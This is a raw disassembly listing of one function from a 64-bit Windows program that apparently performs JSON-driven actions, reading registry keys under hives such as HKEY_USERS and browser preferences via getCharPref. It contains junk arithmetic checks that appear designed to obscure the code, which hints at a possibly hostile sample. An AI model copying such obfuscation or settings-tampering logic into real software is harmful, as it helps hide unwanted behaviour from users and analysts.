call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp byte [rsp + 0x50], dil
je 0x140056b3a
lea rdx, [0x14013d094]
lea rcx, [rsp + 0xd0]
call fcn.140001f2c
nop
mov rbx, qword [rsp + 0x298]
mov r13d, 8
mov qword [rsp + 0x820], rbx
cmp rbx, qword [rsp + 0x2a0]
je 0x140056a19
lea rdx, [0x14013d0f8]
lea rcx, [rsp + 0x360]
call fcn.140002c48
nop
lea rdx, [0x14013d0fc]
lea rcx, [rsp + 0x350]
call fcn.140002c48
nop
mov r8, rbx
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x7e0]
call fcn.14000d870
nop
lea r8, [rsp + 0x360]
mov rdx, rax
lea rcx, [rsp + 0x7c0]
call fcn.14000d870
mov qword [rsp + 0xe10], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x878], r8d
mov qword [rsp + 0xe20], rdx
lea rcx, [rsp + 0xd0]
call fcn.14000e294
nop
mov rcx, qword [rsp + 0x7c0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056979
mov rdx, qword [rsp + 0x7d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x7e0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400569ac
mov rdx, qword [rsp + 0x7f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x350]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x800], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400569df
mov rdx, qword [rsp + 0x800]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x360]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x458], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056a11
mov rdx, qword [rsp + 0x458]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rbx, r13
jmp 0x1400568a8
mov rax, qword [rsp + 0xd0]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x4b0], r8d
dec r8d
lea rdx, [rsp + 0x850]
lea rcx, [rsp + 0xd0]
call fcn.140017b24
nop
lea r8, [0x14013d0d8]
mov rdx, rax
lea rcx, [rsp + 0x830]
call fcn.140017bcc
nop
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.140001ff8
nop
mov rcx, qword [rsp + 0x830]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x840], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056aa2
mov rdx, qword [rsp + 0x840]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x850]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x860], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056ad4
mov rdx, qword [rsp + 0x860]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0xd0]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x738], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xe30], rax
test rax, rax
jne 0x140056afe
call fcn.140002230
mov qword [r14 + 8], rax
mov word [r14], r13w
mov rcx, qword [rsp + 0xd0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x870], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056b49
mov rdx, qword [rsp + 0x870]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140056b49
mov word [r14 + 8], di
mov r15d, 0xb
mov word [r14], r15w
lea rcx, [rsp + 0x298]
call fcn.140017fe8
jmp 0x1400570c7
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xe40], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xe50], rax
cmp byte [rax + 8], r15b
jne 0x14005706e
test r14, r14
je 0x14005706e
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xe60], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xe70], rax
cmp byte [rax + 8], r15b
jne 0x14005706e
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xe80], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xe90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xea0], rdx
lea rcx, [rsp + 0x100]
call fcn.140002c48
nop
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xeb0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xec0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xed0], rdx
lea rcx, [rsp + 0x130]
call fcn.140002c48
nop
mov r15, rdi
mov qword [rsp + 0x158], rdi
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xee0], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f814
mov qword [rsp + 0xef0], rax
lea rcx, [0x1401a9e10]
cmp rax, rcx
je 0x140056dac
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.14002f6a0
mov qword [rsp + 0xf00], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14002f6a0
mov qword [rsp + 0xf10], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf20], rdx
lea rcx, [rsp + 0x370]
call fcn.140002c48
nop
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x158], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x370]
call fcn.140002ee4
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x158], rbx
mov ecx, dword [0x1401a8d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2aaaaaab
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub r8d, eax
mov ebx, 0x16
cmp r8d, ebx
jne 0x140056d70
lea ecx, [rbx - 0x12]
call fcn.1400bd778
mov rcx, rax
mov qword [rsp + 0xf30], rax
mov eax, dword [0x1401a8d80]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x370]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x880], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056da2
mov rdx, qword [rsp + 0x880]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r15, qword [rsp + 0x158]
jmp 0x140056db1
mov ebx, 0x16
lea rdx, str.getCharPref
lea rcx, [rsp + 0x58]
call fcn.140002ee4
test eax, eax
jne 0x140056f29
lea rcx, [rsp + 0x148]
call fcn.140001ef4
nop
test r15, r15
je 0x140056e02
mov r9, r15
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x148]
call fcn.14003c760
jmp 0x140056e95
lea rax, [rsp + 0x890]
mov qword [rsp + 0xf40], rax
lea rdx, [0x140137258]
lea rcx, [rsp + 0x890]
call fcn.140001f2c
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401a3d48]
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x8a0]
call fcn.14003c0cc
nop
mov rdx, rax
lea rcx, [rsp + 0x148]
call fcn.140001ff8
nop
mov rcx, qword [rsp + 0x8a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8b0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140056e95
mov rdx, qword [rsp + 0x8b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov r15, qword [rsp + 0x48]
jmp 0x140056eb6
mov rcx, qword [rsp + 0x148]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x4c0], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xf50], rax
test rax, rax
jne 0x140056ee0
call fcn.140002230
mov qword [r14 + 8], rax
mov r13d, 8
mov word [r14], r13w
mov rcx, qword [rsp + 0x148]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140057007
mov rdx, qword [rsp + 0x8d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140057007
mov r13d, esi
mov dword [rsp + 0xa0], esi
or dword [rsp + 0xb0], 0xffffffff
test r15, r15
je 0x140056f83
mov r9, r15
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xb0]
call fcn.14003c920
mov byte [rsp + 0x8a], al
cmp dword [rsp + 0xb0], 0xffffffff
je 0x140056fe5
mov r13d, dword [rsp + 0xb0]
mov dword [rsp + 0xa0], r13d
jmp 0x140056fe0
lea rax, [rsp + 0x8e0]
mov qword [rsp + 0xf60], rax
lea rdx, [0x140137258]
lea rcx, [rsp + 0x8e0]
call fcn.140001f2c
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401a3d48]
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xa0]
call fcn.14003cc84
mov byte [rsp + 0x8a], al
mov r13d, dword [rsp + 0xa0]
cmp r13d, esi
jne 0x140056ffa
test al, al
jne 0x140056ffa
mov word [r14 + 8], di
mov r15d, 0xb
mov word [r14], r15w
jmp 0x140057002
mov dword [r14 + 8], r13d
mov word [r14], bx
mov r15, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x130]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005703a
mov rdx, qword [rsp + 0x8f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x100]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x900], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140057073
mov rdx, qword [rsp + 0x900]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140057073
mov r15, qword [rsp + 0x48]
mov ecx, dword [0x1401a8d80]
lea edx, [rcx + 2]
lea eax, [rcx + 1]
imul edx, eax
imul edx, ecx
and edx, 0x80000007
jge 0x140057096
sub edx, r12d
or edx, 0xfffffff8
add edx, r12d
cmp edx, r12d
jne 0x1400570cc
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0xcccccccd
mul ecx
shr edx, 6
lea eax, [rdx + rdx*4]
shl eax, 4
sub ecx, eax
add ecx, r12d
mov dword [rsp + 0x994], ecx
mov dword [0x1401a8d80], ecx
jmp 0x1400570cc
mov r15, qword [rsp + 0x48]
lea rcx, [rsp + 0x58]
call fcn.140001fc8
nop
lea rcx, [rsp + 0x11c8]
call fcn.14000133c
nop
lea rcx, [rsp + 0x80]
call fcn.140001fc8
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, r12b
jmp 0x140057212
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x390]
call fcn.140002c48
nop
lea rdx, [rsp + 0x390]
mov rcx, qword [r13 + 0x40]
call fcn.14004c728
nop
mov rcx, qword [rsp + 0x390]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x910], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005716e
mov rdx, qword [rsp + 0x910]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x11e0], 0x10
jb 0x140057186
mov rcx, qword [rsp + 0x11c8]
call fcn.1400bcfa4
mov qword [rsp + 0x11e0], rbx
mov qword [rsp + 0x11d8], rdi
mov byte [rsp + 0x11c8], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x920], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400571d1
mov rdx, qword [rsp + 0x920]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x12e0]
call fcn.140016b4c
nop
lea rcx, [rsp + 0x68]
call fcn.14002ee10
nop
mov bl, byte [rsp + 0x40]
mov r15, qword [rsp + 0x48]
jmp 0x140057212
mov r8d, dword [0x1401a8d80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 0xe
jne 0x140057284
movsd xmm3, qword [0x14013dd10]
xorps xmm2, xmm2
movd xmm4, r8d
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x14005726c
subsd xmm2, xmm3
divsd xmm3, qword [0x14013dd38]
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x14013dd08]
ja 0x14005724f
test bl, bl
jne 0x140057291
test r14, r14
je 0x140057291
mov word [r14], r12w
mov rdx, qword [r15]
sub rdx, 0x18
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x1400572af
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov al, bl
mov rcx, qword [rsp + 0x17240]
xor rcx, rsp
call fcn.1400bcfc0
add rsp, 0x17250
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret